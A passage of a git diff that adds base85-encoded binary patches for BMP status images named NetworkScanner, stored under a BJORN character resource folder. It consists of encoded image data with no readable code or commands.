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 literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/BJORN/status/NetworkScanner/NetworkScanner2.bmp b/resources/default_config/characters/BJORN/status/NetworkScanner/NetworkScanner2.bmp new file mode 100644 index 0000000000000000000000000000000000000000..1bed73c6d2b76ba5d3f004f52f6c7a87e721f359 GIT binary patch literal 18462 zcmeI22UrwYw)lN-_w7zJFa~nYG&D3B8k*c>keop>0*Z(zu@gB-6igsU&WMuCq9`gk zC^<(HNT*rSTUlvx6Hev)kL7U&j4Ktn2fmivv}2o!4htFVD4HoNc`{*K%d9 z_3C_E>f8rOn{7>Rc;X z56}P#;IR1$xs$++F3)ymEe_sYUwZomxS!9uy|p&iRXE#}Fb6=})8>Ks?dfn1OWKaC z_hwDMy!5IfYWQ)|YG2mU>+7@aX|t3Dt!Z;WT0noK&9tV0Q_EeM1NReNRYuP=r>%8o zfm3jU4?^x3pd9WVfPQJVF>bEE`U_(E^I0Jd>B@vV5AF{DcXb{F4J?;uT2p5`vK9ub*Ow;0ieD)=+1}pTSbn?q zzI%DRerfRbVo&M(D|oyD=#ActyzmoZOgxEKvZ|UpuNK@^5;d}rk{PW_dEb0>qCVx# zljPAS$>a4Gftz1d#$dUGk19H4SJYNDwvj?&#i`jJUJG37PM>YPI@^{$-6CB@-b9BLP`GUP*0kF)c0;b#@^&Hl!LmQiDTCi%VFC zSL`UCq#;tqL{I^U0iU!gqoDW!4tp)L{?|P~;WkC@?M3u$ryL1}XegItYG zP??cm>_;ZiAJ~MyW0Ba;qRhk(Hv?@rQ6N|65Cp`49(0VAu%g61Hb3Xn{~P>D4y|`@ z-{quSi^GN7E-o+6DHhwuZXqbI$|68^r;r8*N|RGqodc!7fKXu;P-Ng2{FYIXPUNia zNe^{rsh5EeH%X8=mQwd2N=2WH=G(h7e%nEk`RX@D07t_spPy)L|}lE|eOF5SCRCgf#HCkpLQV7$HH+iP|rw z$gPb$$nI_Hw!Xgp#kjwN^-5Ht45wJ#@Mul*+8MWAu>%qsEJ8ZmqF^i{zh#g-#G$~5 zK>ffZPQ@!ri{jXGNS$3K$SN?%B7oo?LvRicwhF|X`Cw>-xb_@YU=T&^UoO@El)*W*;i)WhSpZrY_*MW_?TV@y8C)N zl(eqIZj3p^E_;Ye@EZo?w@d=xF$jD^Cr>ZtZ|rR?Whix60B`0SY#Bgwjlzc);Y0F> z4k01df#>v3iR|TaSF!WbahE(K!2b;$|F?ADa^zp=<*9k44lrq<&YV9F)edjBnly+}yC8X493)rH*XBGGhz0kKzju;CyHfgp!KWTBv zoQ#H2Nu|j^wfc)kN z7>L30t^NQYo+2}8a=(}Q?M{Ldlbee7<=PTJyF!bzX69K+<> z#rTD=?b(O;(-G8<>;m60BmT;0FJm5JgC|<}d1|KpVV;KOVF+^8*9=oSx@tZ8y+KAvQQuVI7`7(;~lT5&WKo@4pYT z{})xx#f*Oi>%H>Zh#wgw4)QrESRuY=Fcj1Xu_h4Ad<#}CFpoM8e0DqtZgrv#pt=*Rqg$ZywKE0e_1+X!YXdXZ`^&{92@j*HG=u$#( z4$(Gwg01kLTCO0f zN!Edu68ef1Jm)5#c))EAoortnfVbd@i^}kf+db%=6_tp4iASn zPKHh>J}44wk-rT0OXsHchE^$RelKlz(Dfi(;iva<@kL1!3rfL#zlyD;&W#81z2LhC~k9k|398qJJ9Msk?CtVRW+WBHKk71}Mpg zU^((mA)PoM7*m47T?3$a^8mbEFdQppev&`&m1PxtEx&H8Z>+Da>x-#?Nix)$h_?^H z;nIm#c!Fml4#Z((NswO}AtVo;cYr&?b`U`sgmf`H1H%HyK+uxqXQxtFi^0+qin`)Ial5HF1cOd@ ziNr^j1i8h6*$0d{cs&7e3kys}3D=Lo4AX-KV3MK;jQa`b2YPbkgJwmzs1oA2E2LA2 zxTr!v48qt(%2M@VHZpUOR1?J z@kA^EW+jIu>@cz;$vH8iln_yBsdq|ER96RMe$31#AS4eTn&)g6=;{;%Jm-tgur%=0 zLYu0I9<{ghCq~}@WIsnWJcq+08y5+3m=(;%VDS#O3sPf6hkD^Y3luc|9KV8P6xff;y`<)6Pj2}h`tdJ zS`+|?qlyVGk?Dl^)&I;6V%ida@P@b zG8EB1Yv~u{6dFm&Hq~^NW2Kc0UMD|jc+^1ShKSiHzV_R|_JVJ?xRlL>^NoC_HbqQb7& zX<1ofO^)f=JDI!L>D!qp8S99vpO3#95}GWBz=kH>#^bLChvbFDlpR0j=iw3*7JDOz zl#K^Zb}=`k*kvxH76#d z*r83N=@I#tGrL+lx3)fG$nIhVZ?XQ~i!4fgM`J7E0KLF>Op*tAwKy=Lb|H9Tc5?O; zPlt1C-_s$ur38c(Ie4Ynxg`;TvM3P+3p=mM*4G_#>ssQP{sAem*J`6L-}m*s6zCrB z?;3+6U5~!J@}hHbe+2uyIPUaf)$riqh<7WZ6p-;1iLU z`GgRVL9`5%r$tF065#st5m^?&58LBUca31IHP<&b)IHzc`Xt16vHo^20Nl-ujq8b5 zBwBKk_r_Zg!UM0{y9FQF&wB6xJ0mqOI}JY%qc9JXC>Mhe6E%YBM;1Cdey20I z*pwU%3GDf}{Mgt`4G|?njEO$lP#3Ln>FNyN!7#=H3&F6C}AqtnNhduV=UPfj*B$7*pgF%e$AV2Lv zKDxsQ+JpS;tTHlEhCCeTz2DPG$YF6oNtPNG=BlQJl@Ffu4nFN0x|&&RAg^bkX_;5? z$jar+kKfU=(h3Q1pxNj|U?m3;G$5x%NlNLPcyJ+q1`|US0JX~mIMiFi<hh|mt@~g9beM}rmYq$S7a@8rhd8~FKM&>3Kv|Q}^+_o69hBM9 z80vM}P+84f8g2CB4~)8|&YkmHO>eiGr=jL4sBvPvFl+4)dg0;3;#A*C*D5JD@b@M(z#mz6ELPyV&R}nk5 zdTV$ie|$T)XW?S&bbQZp+BlRuHj~{sa^<9_5k}cUSWNqe9~sgsY5^aNJGIq14ZR#& z;Nh2HV-sg%6&Dc~c{WruvVLc5t72p$ukC$8^YrZsmn5E)z@L#XC?=F%>`w~p zy>+WpQCWsxQ1#GZZUbxg?q#THa;s^4qiYdL%(=OLAG?UC=D|Y@IVGw0Z%k*#cHX(4 zb|KDya7r@tEc#-sZdFxrM)X8!RtJvY!N?>eC?pRqdHJ#lSoI5Ba0qsd$5agcJOig8 zsJC}Og;VnB{o0+DA6d&X3w1>lr&iXQhsGrt5EZ$lJ56@8Qq&g}mH)Vxl}}KOfr0B~ z*Tq*2&#O`!E#(wEOnGZ+44>8OH9XV{ut$cTyZG>SchA_($Y>{eIw2k&3`#<^ZF;3| z4IZq+5M=4-Nlz!p#U-brgqeDOxB1Ddw8(M;DXw^5)YCiqO)pLE=3>v8Y8Pfbe^gid zdL*5nM~Dw8w{JfuDJbSw&0CsZz;a6D<(E%E(D>w(z8LmaJ`6%hA6c`KQuRcY->z#d<&e^-d=RaAV$Q9&(_w^<2J;2Gztt2ZiHny5E4drH}+p2KyJz*&jf|o3-P#+$) zhz}4m)#B@4NS}tXiYt5=83cqy)b{UZ(=xP+&n(QnTThC=LQBWV&o9ToAadr6%M z#wum+tnh9-VRADu?5uKfo&Dt^hqhB9X+*T2kd^0iqW*q{*9f}H% z*B4RT0Pi_I4Py#=VL{2h15EtF+D!B;k6$h3idNo^(W!c8LU=KH-~C9#$|fo#sx2jn7<_-`?M7r> zbJE!C4ESwCN6T$z87g}@dJ}Q#@=E8oP-@3OhyXjUpa^!~0oHRqq#c4C=({BqGAzip zH$2YX zX5uuI96``Ie2`CA6#L^|hCBBj?ifZfX=!fJNKQ52EOBZZ8d=+J8D4nSGOWrcd-p~q z+!cTd(Il9s{urxRaK|s&ce9OdU+&d_)^u{qR zW_Er-We#rX@BVTy`yzS9`S_5tzPjdXe?n7S`PJyu$T|c<^J&ZUy(ev09_jXm7T9Jo z>_^tsl@%QU`AbRHoBEaqm$yb%q2a|96AeQfO@rwPFgO34x?5g}(ecR8A$i!u`Ghn$ zxfD2=Ig+9sJDc5mhcZF<0a=22-)!Q_?^(;r@-WZ~Nl0l?9pXBD@?`171oRQU^q3Ta zlb0N$;Jt$MC)Gs=q^uamoQGG9jhQtu)_iclbz=T5cxwhWcZ*P0|BCj@h>1MbJASlDo#IZ1qeu1kqImH^zoX7v~n>79Z^)4sJdL1WM(=K~6zNAq57M5EYxQpu#aFLla32MQ*Wk_U^+IQxjXz!1DH+ z4XCbVvaWI3=akEiP)(co1t~QRV_Sptp&vuy_3^?6Vk<{OjziInQ7S=Xqo6~xi~n{Ct?D!15CAz2?Y>th(ztO!DJTv(K^hXh(KAT~KJy;xDr zmW@$_i3aFlWuzD2;*k@PQ0L;q?4#nuimEtb^h?tV>Z%`PCSFYrjW4;D`?{kG1Ux_l z1`n-3{fnEos{5X`jVmLh3$MZx(@y#r!=M5@A*dr|(lQF}KOS%HpQT(4f_VmlMn=Y- z+Q+y-8w5_piZf36LcC8r-n{k@ttz*N%z$2|~q-yD*YT%}B_;1PbhgS^L7Op+YWo;GpmotOrz3Yf(JBCu^@0~%O? zK?hf$kuB&^!}#q7qiNTQ6nRCaCqDT(>JBS;riv#<=t!wFcD=iCtEYQzeQ52Yj&*pC z@s2EDOpL5SJ@4i`%-qf&J9W*IXo8Se?+UOz18t}RNB!dV-cD#~jh z`K1v&lI-*XvI25qG)N~I-Au3GP&1d%fT%Z{+XH}X8ID*Oku1Q}p>?RSf3_h1_0y(t ztcYyb8651KhA)cm3{CH6YeC*{m(oPkZO{YiCJ zR3?#hD=s0})-A8#=J+<$zd%M@f^8cH6YmDpJGcJ0aUwUTqqhEC5FrxH!9V_H6h_^( zkKDydslF1Ogkt5s{jlxk&7q2#f%b{zp|$Oi4QO}`p5g%LFd2Gm3wqf-kQ{uz`&o6{ z{X8pamE-cdF*dFjJv>WeNI4|GmU}hb&+A9K+oy-SUe%U1S6}a`D>-LsbvY1x?(xfu z2qM}!guA=;J}m~Px}H|N8|xozZRl%mdR&s1g+E&sO-gWfkF`5#Dky*2(Dc>gqE}C9 z{2b3d?HC+h*(P^6==JTs`Hl9`#k!`68|6J&8Lf97P85{f<3Gewnwby#ZWkyx+Qmvf z32km}IT@H^CFSZG-;|a0=Vo`@elYy9d!}Q2x##^_-`qNw(Oxu3wtb=#OOf(yRn`pl@%vU z{cqhIF2B)JS>0b*(_2y1Q&!qlnA4e)(UyI^?cuYx<<(CGkFW)K`v2ms8rh1!Wd+sX zqm7=ViY`X;al_#4dt+JGT5~hoi}PQXm2}@K@3~R-y0q|hVRlDpVQ+X~UeVPYilz(1 z7(;1n(jjFkvP!JI{-rGw#yEr@DSAUCS=M?Phe1(Kh@%MJuHAp;rW}u;F zb$Nl(rn{jrFD#<^V%*K7_@3sLhh-IN!ZKw!g_N`5rwO5cnWZKD`C0AxSsnS=ZTZ>l zd08C*w5+V}<*WCpSM!7qbDVQJxiI%ZA?3oI{1<-xSU=J?d{kUn4k=nxdiQ0=OnLc0 zer9KWMo0d2aG$oq>`u^|g}I%%SsnfkxS6-`W@B?>&BNH*N>QsgHnAW)^pe-P2ur8Y z?w$`Sx1q`2hG0jha5uNc>dfXlIUf2ZDgI~Qjll1FD5>r7Q-Z$LHGf=QSV+P7L~WEz zxEK7o1*Czl9wP~Z>uHT(L;}A2tj>I3L*DDEn&IcI?;qB`aF|`_LywzJ*>ZEowHQ0Y< zyl=;-`pP^0+UCipe9{QP${Zqm2k2b24WHeu+S*u8KcC`#JhZN5>E4rx+GkUbpHDq$ zdi%I(sG$6|m$RoVtAL}X>8qCZ9aXCO5H32*1;+v0dKkj_^ za_C9Z=!=fYy5`}Gtefrz4)&S`G7JJC-u?}b>TOhwWLfz$qR;1rMqfThc>SVjb!lmO zY`E{`-K?k(6EP)%ode$1!BAMCD*ZywiwCoBCzcl$8ty&3;OSo+mzabjh|+U-A9H{4 z;Hjsz3z{Br(!@qf0AsCd6CH6OA?8X{Na7hcA8P|kEJ9YERoKhQ=~2a9ip{%c-Q5(F z@^7+IF5TSNYy{46Vm3cB z8;6gSVB{ZiBoa8s~H_bYl>2_Uk;DzeO_C0HNGk> zwKOHI;9{!1x;~nPKl@TT`0WWW5PTMFc>K)Q>6FV+s{lt&d#sU>gqj&z>y(MZrO3Fu zWtIJ1y*ty;Z-WADzsdTGt^tp;Q{$7bTH0PbdZmDynw^#A6<{r+fwyycd8axjCDlpC0>dqI+V=Qh zcmFT$3l71L1^^2A=L>7#cH1AHaQ?RCZ`Az5tZ=XG+Jk(elKk#`cen18Up%S{boavY zO3QHwiyh`n^g4SZHu?%KFpYpOJ0Bh5=!QJNtiUa%j>LqY#dkJ+7~DITQ|gpPV>y86?dXzV;4Mx|kMYB+iO7r(!`rwI zX{X)Cia-4SKcDp@3LJ=_97hV%m&B^`qf0XKz~N_oK>eNcUyb#nos)0IC75`Rim9wD z!TZ9mnZ7bBc`R0!+sJNbb+iAl?&^$xqvC)3`fudST`2$Y>#olDH!A+$^6UQtU;--V literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/BJORN/status/NetworkScanner/NetworkScanner3.bmp b/resources/default_config/characters/BJORN/status/NetworkScanner/NetworkScanner3.bmp new file mode 100644 index 0000000000000000000000000000000000000000..35cc8c597be51b9109f5ca07241184c7ef6f568d GIT binary patch literal 18462 zcmd^`cU+T8*7)!5v-^4X?k%=!p?3%+5PA)SP7*pu??pOF?w-{b7sDC&Y77^9%WVOkUx-?+xsJ502$&>PLc=&{GUbYU@iRaDew`f`ZLoHKM?=Vq(6mqcbB-k zL)_im-TJh%wy?cCzO^{G`Mzgkp<`pNbz}DB#>|V2>6Z2B=NnT`fvitHU7IB5Q_t3? zp07{0Y)rq{n0d86+qyB|L3)rdxV`)ir~(RsTC(!pf8QiWW!>G`+*9b@JIx;_YXRr3-=>5%=xg+2no^^L;W2wKC(3-RaK)bR&g6?-^lX8+| zeUZ(<{DoK7daGl`n^V?@@>lwD30+x)y$T&!OF-Jecw{YhWPw|&{dpseNxe0(i)~pO zZ}Y(|Qiab#9vGmUG&}(P8sSaC(s11oeERULL=ZtA$CiihE_LS-I>FGVf9%Zo*l``$ z74+p}XV!Ap4Pc>yPzOZ@E;us}oCe}&q&)sKb!{MTrH5qcl|GUQfh_lAuMgyP*Tgv> zrNyZs5{yt)HlDgGK5PAXq`@PN2Y|~Uw5IRb^+Wr0LU;c1Xx-+@?0?0sdyVYw?rg2j zZG3pUI^D7|dhgRf<;Px9yaMR0!JOjAi^B9A$r<^zZ9UgZ?#T=38jDL#K27`3c73KL zZQ@Dl&Hr{3vz~FU};&tO)-PZdT zTOYbM2}7G}?~h>7y*?ksuD>5rfW5Q1va?PA!@WTm`Y`fBTUgxN^ZKm^JK-ViKF&4z z@;KJN(kgTCs&fk=*?1LMd4M3j9O4uTQp{>9eA1KSQ$X$N z%37>{sK7Zs1&AqvNgcr`P+eO2yXFr5@y}xgi!4ZOEw6Q?(4r?;l^OYUxFrqv;F(|hy+<_-!)e&7Nu4cqGG##`C55SN$HK^=Z~K5f$r|L{YTV)9xG_6 z>s32~gI}HoW+tep0|mwt1VG9xyZ{c(%!^`zDKYXW&_gB9vLep0ftgE*i5tbtgJgyY zo}ibd<<#R9H{gfs!6cDPFvK~CG$jXuf=!W;SBXhLhK5U)hD(u&UzUawLCFq2il1Q> zpkVQL@FaX#{3FQE_y0WB)sn8lOEGB+Q3=5lv?1;R+uPg31I$=QW+l7L`?>dpX*Uvr!|s(= zRTY*CA7?SI3wyXCbradw%k+`_M8Pe?sxEMfPxLIC0yVD=R2+Dq z5+e-BOkzc|@r#^dVgCz-;4vod|DjT5mckkNhnWV4n_~lX+)<2hbq+a>zfvhMh)B}# zNicAkN+~%YRc#eibok)5N-Fj!RY$a%nS`97sEh+z!$KOVDS(OH#ErELOEukKOxz%mc)xEq9KR{gqK7!cB6SAB`y(yv@AN!B(enIA zEkh$5pyy>Kt|NYy2V>|LY7&TZjKM^fVM2>>4$*k)P`qi7mxi;Os$-OOsD*@qJT0e( znsOx8siZ16tMF1*fm>F-Yj%Nm{>_l0^2nPN;rS(gxy4@Dh2XkNcAlT7wx%~4rOL!@ zr*68lv-5pVJ{l{Lxb$I3Pf8^{r}FLAPEuNv8jmIa&rCf3L&NuXdK-i>idlmBhu>5o zGQozv;g*suUkqh_S-sOak#HfuZJ@ODJ23(`>FN z<qrPeJ9)Q(KR7#E>_GP)< zkM^jnKwq4H81oOup?^8Y|0@g6PYlq%(OF9xg_&b;#{O=~_P}+4!N5#}HTK5<%NYma zd^4~y6}ZS!9LcCz;x!^v5}04h_ndrWdu8ko2)Meli?a-|Nu3R6e|ZZ+z#` z?RzPHu9m^xHq9ORquY%`n~%DdZdSJ&6qjK=(P#&Rj4TyLVS3(vlzZ3z4b}%$_n^Ph zik{}Ol{JO_Osm7I9A<{a8v0?4{6m1d8U zTvQ3kv@zu&;l)_nNK8mUXiBY$nC^LQeitqE`q%M~M|?*&A9l{%F;J9^jC7tRHcxIp z#s=7$sK|GJs2SaQP}^pB>w&kg&iPAn@`|+VA+CY{G1ktPZNfAVXQZ{it_Pd~7NF~e zHx9xY1>uYWaR&Zaa~vk55EEO84K2i3hTwv8f!_kq-?IW-AR$GV$kNcnYGW-IBm;-5 zvT9ygP+h;tz^AH?scL0zVO)UiyWPgIjfXxL&9p>ByB4a(cbb}q{G0lsf^AGakSKK) z9t$Pi#rNOaLmkPk;CKndtFN7l5;Hu)5)UYylrDrA1z{}k!JesjBjB+?*nmt@XhxJ^ zfguBLfC3&&Mr2m}o?St{2THasCaN^#@*PL}C@D&aJ6bI++VXY}s_T96(0X0xLV4fP zt%21$gX=YYgu6ZOs|MEV2G{Sk&ZNG07a!^8=&h=($1Q;75FO|l_>O6h#0vCvz3vdF z;Py~+4mHI9cg33oVSz2(QZSJvcry&%DGtOUpu|Ryb1)f^T=z38X>KBYyt&6pid}N} z;$td&1GB`>ak(fWac&mR-(PB;y7Xkm?b*EhlUeuXY1b#y9-W`!Un~TUY?ibwM!%d5 zYA1wbX88N4tD1?xr6?ee>l*)DR`T8?#yEf8jk#hC_UEkm(}0eEvf*=Z|6>|=2O zS!APrjay1WCkttPCCg`4z)hZ(Ny8IWF3BL`BrAJS1sxT1DK^MCHpnR^$Pq|fuv2W1 zLu{~p48|@N?-+vz>$81axP!Zej=Qpwy_5|66hnG+3SixDM{#(&Zf$ODZft4`D;fx> zhnwLr)?vZH**H@S)-5?Wx*QW-5#pbP4J!uLBH1tE3nC~3mo5h;1dA(aiH#r$Ho6o? z67sYhSsE69S5Z*eR75nx>r#Y;S-81rxET`saoLQR4(_R$!yOghDb*#{F% zLcsyQB?*aa&s|C8Bsnul$O}$6upc&(j7z@qIdG%O!s74PSp|zza$M9l@iDjcHn#FI zw)Ql#_As(?2L%%w4^vwY6B}O(dv7yaSA7e211mRuD>q#WJ7oi&pDA%JKESAdl3iz~ zW>okQqNg~8PjR@Q9YVnzd9xDkKd@RF+mtsis6p3}ufdMWi zqAWO~6x<>W136^D-H_N@PIlp1@)p|imfCWbq+H%YQ{GBb!a#!qslkEPhN|-a!m1`H zn;vx~Gd3+f`btK0YDUzRlIsOa9|(V5yaHuLa%xsm243oyyfs`yi~_M2F9W+`fD;0z z1ujbR+kdd)qAJ4TtHTp&fP^I6#YIZUlyT9Op$XMt@ik!y)nF1P)0YQF zl;dNo!jozuNKzY-TpbQ1sV3YlIl=-LZh?=pjZ%lmVjR7`gZ0f@hxB0(sm^+qdVI=J zR-rhslp6TsF2-X?tb1+=Y(_RDImbm+VxuZev|Ld_8tMom3q#+)uwqPjv7J?rqiqNv z^TXtroOe@&8=!FD_B;+bCDjwXhwLX1s=@3Bv#iXY+PkfL|I@&89we#L`r>hYC}YF zJ;^o+b+M`Uq?jdi1l0}rR26B25cDFFv?A(!9%!f|oL*RpR!E6X#7J0E6)KP9Q%=Zy z3^d>`--)Ru27vFr2nxQOq;wL*0gfY%#JcxT z&CN;#B`nk=2oF|P!$6!*dT>;EWJ+!7jmCt8k}ymfJ|HPFBt15vGWv3vqp6251(&UP zP-IYch)uYgzLyrSiUyyvIxQ|@6f zxuIdj5plO1Ec{*ULn7jDhu{k^Aw{^j+u|&eS2D{3{lis-mCVp4);cyeh7KkwCVB|X z3z}9*357{F8Zp5+c<01OyC^HTz61^QW_n(KN6#OAXZ?B@4#v7Si+8{2fS#n``H5ca zG^Z*nBHStrgDXfac;a@!hxun}D7!e1fE+8Q1Pi+ulvj#hP}bPWqo$*;dudZuL?s|F zE&fJRYD zP0kRb=629_bJh037-J)Ya;=?0&z)d8eUgQaf|G@kn}be(gI)+i%STTEJ@qRiH8r=b zXK;L4p|Ysb<%FB@@p;OE@;V58ZMcpGT>0Ad+jwjmN=UBi@oRiaCWKS`%yCAB(`+2H zyj=ABoOJx`v@k|W&XdP!DbFz(UkHrwz8;_-w+7aLyOA%ygc=l6jjx99pP}@-%ck=XTo`h;8%4 zH?uqaE5yiag~yK3LAemr6i`K!bmNO805+Rd9?zm{L*qIzCS4r$5{ zlm6RZPX)UA9|06Ra!A%MjW{}aojk?P&7(+7!%V)u-)$9len@ItxIDIT{oPjPyQPw{x=1l8B{*E`+!=Ol9rNv-?ZX=NNUY$Y+1Yto 